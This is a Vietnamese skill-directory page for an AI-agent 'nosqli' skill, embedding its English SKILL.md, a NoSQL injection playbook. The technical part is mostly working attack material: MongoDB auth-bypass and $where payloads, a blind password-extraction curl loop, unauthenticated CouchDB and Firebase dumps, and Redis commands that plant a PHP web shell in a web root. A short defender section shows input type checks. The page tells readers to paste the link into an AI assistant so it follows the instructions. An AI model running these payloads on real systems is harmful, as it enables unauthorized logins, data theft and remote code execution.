Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14072

nosqli

Skill này làm gì

Skill này giải thích cách cơ sở dữ liệu NoSQL như MongoDB có thể bị lạm dụng khi đầu vào của người dùng trở thành một phần của truy vấn. Dành cho người kiểm thử bảo mật kiểm tra tính năng đăng nhập và tìm kiếm.

Khi nào nên dùng

  • ✓Khi một trang đăng nhập hoặc tìm kiếm dùng MongoDB hoặc cơ sở dữ liệu tương tự và chấp nhận đầu vào JSON.
  • ✓Khi một quét cho thấy cơ sở dữ liệu có thể mở cho việc đọc không cần xác thực.
  • ✓Khi bạn muốn kiểm tra xem các toán tử đầu vào có thể bỏ qua kiểm tra mật khẩu không.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem đăng nhập của ứng dụng tôi có chấp nhận các toán tử truy vấn đặc biệt thay cho mật khẩu không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent gửi JSON với các toán tử như khác hoặc regex thay cho giá trị thông thường, rồi kiểm tra xem phản hồi có thay đổi theo cách cho thấy truy vấn đã bị sửa không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

NoSQL Injection

NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.

1. MongoDB — most common target

Auth bypass

// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}}      // returns first user
{"user": "admin", "pass": {"$gt": ""}}              // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}}         // blind char extraction

Server-side JS injection

{"$where": "this.user == 'admin' && sleep(5000)"}   // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}

$where was deprecated in Mongo 4.4 — still appears in legacy.

Operator extraction (blind)

# Burp Intruder w/ payload list
for char in {a..z}; do
  curl -s -X POST $TARGET/login \
    -d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
    | grep -q "success" && echo "char: $char"
done

2. CouchDB

# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document

3. Firebase Realtime Database

# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"

4. Redis

# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE

5. Tools

  • NoSQLMap — automated mongo injection (nosqlmap.py)
  • mongoaudit — config scanner
  • Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
  • fuzzdb — has NoSQL payload variants

6. PoC

# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
  | jq

# If logged-in-as-admin → critical

7. Severity

Bug Severity
Auth bypass via $ne Critical 9.8
Blind char extraction of all user data Critical 9.0
$where JS injection → RCE-adjacent (mongo runs the JS) Critical 9.8
Public CouchDB / Firebase Critical (depends on data sensitivity)
Unauth Redis on internal net High 7-8

8. Defender

// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();

// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');

// Disable $where globally
mongoose.set('strictQuery', true);

Cross-references

  • Upstream catalog: skills/_corpus/payloads/NoSQL Injection/
  • SQLi (different attack class, similar mindset): skills/exploit/web/sqli.md
Câu hỏi thường gặp

Skill bao gồm những cơ sở dữ liệu nào?

Nó tập trung vào MongoDB và cũng bao gồm CouchDB, Firebase Realtime Database và các mẫu của Redis.

Nó có thể trích xuất dữ liệu mà không thấy kết quả không?

Có. Skill mô tả việc trích xuất mù, hoạt động bằng cách kiểm tra từng ký tự một.

Nó có bao gồm JavaScript phía máy chủ không?

Có. Nó nhắc đến toán tử $where, có thể chạy JavaScript trong các phiên bản MongoDB cũ.

Chi tiết

Mô tả gốc của tác giả

NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14072
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự